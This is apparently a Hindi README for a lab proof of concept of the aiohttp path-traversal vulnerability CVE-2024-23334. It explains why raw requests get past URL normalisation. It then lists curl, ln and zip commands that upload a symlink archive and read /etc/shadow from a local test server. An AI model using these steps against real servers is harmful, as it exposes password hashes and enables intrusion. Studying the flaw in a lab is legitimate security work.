
यह रिपॉजिटरी aiohttp लाइब्रेरी के शोषण के बारे में एक प्रूफ ऑफ कॉन्सेप्ट शामिल करता है जो रिपोर्ट की गई कमजोरी CVE-2024-23334 के लिए है।
इस रिपॉजिटरी में रिपोर्ट की गई कमजोरी CVE-2024-23334 के लिए aiohttp लाइब्रेरी के शोषण का एक प्रूफ ऑफ कॉन्सेप्ट है।
यह दो कारणों से बनाया गया था:
अधिक जानकारी के लिए, मेरी वेबसाइट पर जाएँ: https://brianre.dev/
make build
make run
यदि आप डॉकर को अलग मोड में चलाना चाहते हैं, तो बस चलाएँ:
make rund
python3 exploits/exploit_path_traversal.py
स्क्रिप्ट चलाने से, हम सर्वर पर एक RAW HTTP अनुरोध कर रहे हैं। हम ऐसा curl का उपयोग करके या सीधे ब्राउज़र में एक्सेस करके नहीं करते क्योंकि ये उपकरण HTTP अनुरोध भेजने से पहले URL को सैनिटाइज़ और नॉर्मलाइज़ करते हैं। इसमें पथ सामान्यीकरण शामिल है: curl और ब्राउज़र जैसे उपकरण URL पथ को संसाधित करेंगे, निर्देशिका ट्रैवर्सल के लिए उपयोग किए जाने वाले .. जैसे अनुक्रमों को हटा देंगे। इसलिए, /static/../../../../../../../../../../../../etc/shadow जैसा पथ /etc/shadow में सामान्यीकृत हो जाएगा, और चूँकि ऐसा पथ आमतौर पर एक मानक वेब सर्वर पर संसाधन के रूप में मौजूद नहीं होता, इसके परिणामस्वरूप 404 त्रुटि होती है।
इस रिपॉजिटरी में बनाया गया परिदृश्य केवल कमजोरी को समझाने और यह साबित करने के लिए था कि यह मौजूद है और अभी भी शोषणीय है।
इसे करने का तरीका एक संपीड़ित फ़ाइल के साथ है, ताकि हम सिमलिंक अपलोड कर सकें और, जब सर्वर पर डीकंप्रेस किया जाता है, तो वही सिमलिंक उत्पन्न होता है। curl के माध्यम से सीधे link.jpeg फ़ाइल के रूप में सिमलिंक अपलोड करने से केवल वह स्थानीय फ़ाइल पढ़ी जाएगी जिसे सिमलिंक लक्षित कर रहा है और मूल फ़ाइल अपलोड होगी। इसलिए, यदि हम सर्वर फ़ाइल सिस्टम के किसी विशिष्ट पथ को लक्षित करना चाहते हैं, तो हमें एक संपीड़ित फ़ाइल (जैसे .zip या .tar.gz) अपलोड करने में सक्षम होना चाहिए।
इस दूसरे परिदृश्य को पुन: उत्पन्न करने के लिए, आपको इन चरणों का पालन करना होगा:
touch /etc/shadow # It creates a file on your machine on the specified directory. Be sure that you don't replace an existing file.
ln -s /etc/shadow exploit.jpeg # Creates a symlink with the /etc/shadow file and name it exploit.jpeg
zip -y images.zip exploit.jpeg # Zip the symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Upload the zip file
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Access the symlink and, because aiohttp has the vulnerability, it returns the /etc/shadow from the server.
TODO
प्रोजेक्ट को स्थानीय रूप से विकसित करने के लिए सेट करने हेतु, आपको:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt